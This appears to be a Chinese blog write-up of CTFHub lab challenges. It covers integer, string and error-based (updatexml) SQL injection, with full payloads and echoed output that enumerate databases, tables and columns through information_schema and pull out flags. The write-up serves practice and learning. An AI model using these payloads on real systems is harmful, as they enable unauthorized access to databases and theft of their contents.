zoukankan      html  css  js  c++  java
  • [ctfhub]SQL注入

    今天在ctfhub整理了几个sql注入的解题过程,还算是比较详细的。

    知识点都是比较常见的:每个题大致涉及的知识点用一张表格解释

    !注:下方的 information_schema.xxxxxxxxxxxxxx皆表示 information_schema库下的表

    如:schemata、tables等,不作特殊说明的都指information库下的数据表

    还有此处的题是ctfhub整合好的,所以所有的数据库和表包括字段名都一样,不要偷懒。

    关键字/语句/函数 解释
    union select 联合查询,联合注入常用
    database() 回显当前连接的数据库
    version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
    group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
    information_schema 存了很多mysql信息的数据库
    information_schema.schemata information_schema库的一个表,名为schemata
    schema_name schemata表中存储mysql所有数据库名字的字段
    information_schema.tables 存了mysql所有的表
    table_schema tables表中存每个表对应的数据库名的字段
    table_name 表的名字和table_schema一一对应
    information_schema.columns columns表存了所有的列的信息4
    column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
    table_name 表的名字和column_name一一对应
    select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
    right(str, num) 字符串从右开始截取num个字符
    left(str,num) 同理:字符串从左开始截取num个字符
    substr(str,N,M) 字符串,从第N个字符开始,截取M个字符

    SQL整数型注入

    1. 爆当前数据库
    4 union select 3,database()
    
    > `select * from news where id=4 union select 3,database()`
    > ID: 3
    > Data: sqli
    

    1. 根据information_schema.schemata爆所有的数据库
       4 union select 3,group_concat(schema_name) from information_schema.schemata
    

    select * from news where id=4 union select 3,group_concat(schema_name) from information_schema.schemata
    ID: 3
    Data: information_schema,mysql,performance_schema,sqli

    1. 根据 information_schema.tables 和 已知的数据库名sqli爆表名
    4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"
    

    select * from news where id=4 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"
    ID: 3
    Data: news,flag

    1. 知道了flag表,就去爆爆字段根据 information_schema.columns 和 flag 表名
    4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"
    

    select * from news where id=4 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"
    ID: 3
    Data: flag

    5.知道了flag字段就好说了,直接查里面的内容吧

    4 union select 3,group_concat(flag) from sqli.flag
    

    select * from news where id=4 union select 3,group_concat(flag) from sqli.flag
    ID: 3
    Data: ctfhub{cf0c7df79d5f387aca776784bb5cfaebf98980f0}


    SQL 字符型注入

    1. 爆列数,不过也不用爆了,因为回显就两列 :ID、DATA
    3' union select database(),version() #
    

    1. 爆库名
    3' union select database(),group_concat(schema_name) from information_schema.schemata #
    

    回显:数据库名字sqli

    select * from news where id='3' union select database(),group_concat(schema_name) from information_schema.schemata #'
    ID: sqli
    Data: information_schema,performance_schema,mysql,sqli

    1. 爆列名
    3' union select database(),group_concat(table_name) from 
    information_schema.tables where table_schema='sqli' #
    

    回显表名:flag

    select * from news where id='3' union select database(),group_concat(table_name) from information_schema.tables where table_schema='sqli' #
    ID: sqli
    Data: news,flag

    1. 爆字段名
    3' union select database(),group_concat(column_name) from 
    information_schema.columns where table_name='flag' #
    

    回显字段名:flag
    select * from news where id='3' union select database(),group_concat(column_name) from information_schema.columns where table_name='flag' #'
    ID: sqli
    Data: flag

    1. 爆字段名
    3' union select database(),group_concat(flag) from sqli.flag #'
    

    select * from news where id='' union select database(),group_concat(flag) from sqli.flag #'
    ID: sqli
    Data: ctfhub{4f0e4923b55e73aa9a1a5fd66fb88b13a1e9e7f2}


    SQL报错注入

    1. 爆当前数据库
    1 union select updatexml(1,concat(0x7e,database(),0x7e),1); #
    

    1. 爆所有数据库,注意要用括号包起来那一行
    1 union select updatexml(1,concat(0x7e,
    (select(group_concat(schema_name))from information_schema.schemata) 
    ,0x7e),1); #
    

    回显所有数据库的部分,发现没有回显sqli的名字,所以肯定是回显的长度受限,之前用到过,substr,left ,mid ,和right函数

    select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(schema_name))from information_schema.schemata) ,0x7e),1); #
    查询错误: XPATH syntax error: '~information_schema,mysql,perfor'

    注意回显得字符最大长度:32个

    1. 爆右边的31个字符,发现了重叠,
    1 union select updatexml(1,concat(0x7e,right( 
    (select(group_concat(schema_name))from information_schema.schemata)
    ,31 ),0x7e),1); #
    

    select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(schema_name))from information_schema.schemata) ,31) ,0x7e),1); #
    查询错误: XPATH syntax error: '~a,mysql,performance_schema,sqli'

    所以总共:information_schema,mysql,performance_schema,sqli四个数据库

    1. 爆表
    1 union select updatexml(1,concat(0x7e,
    (select(group_concat(table_name))from information_schema.tables where table_schema="sqli")
    ,0x7e),1); #
    
    > `select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="sqli") ,0x7e),1); #`
    > 查询错误: XPATH syntax error: '~news,flag~'
    
    1. 爆列名
    1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #
    

    select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name="flag") ,0x7e),1); #
    查询错误: XPATH syntax error: 'flag'

    1. 爆内容

    一部分flag:

    1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #
    

    select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1); #
    查询错误: XPATH syntax error: '~ctfhub{2333ee20c980f72952ce65c4'

    另一部分flag:

    1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #
    

    select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); #
    查询错误: XPATH syntax error: '~80f72952ce65c494ec82b147e9940d}'

    拼接flag:ctfhub{2333ee20c980f72952ce65c494ec82b147e9940d}

  • 相关阅读:
    MKMapVIew学习系列2 在地图上绘制出你运行的轨迹
    WPF SDK研究 Intro(6) WordGame1
    WPF SDK研究 Intro(3) QuickStart3
    WPF SDK研究 Layout(1) Grid
    WPF SDK研究 目录 前言
    WPF SDK研究 Intro(7) WordGame2
    WPF SDK研究 Layout(2) GridComplex
    对vs2005创建的WPF模板分析
    WPF SDK研究 Intro(4) QuickStart4
    《Programming WPF》翻译 第6章 资源
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12556286.html
Copyright © 2011-2022 走看看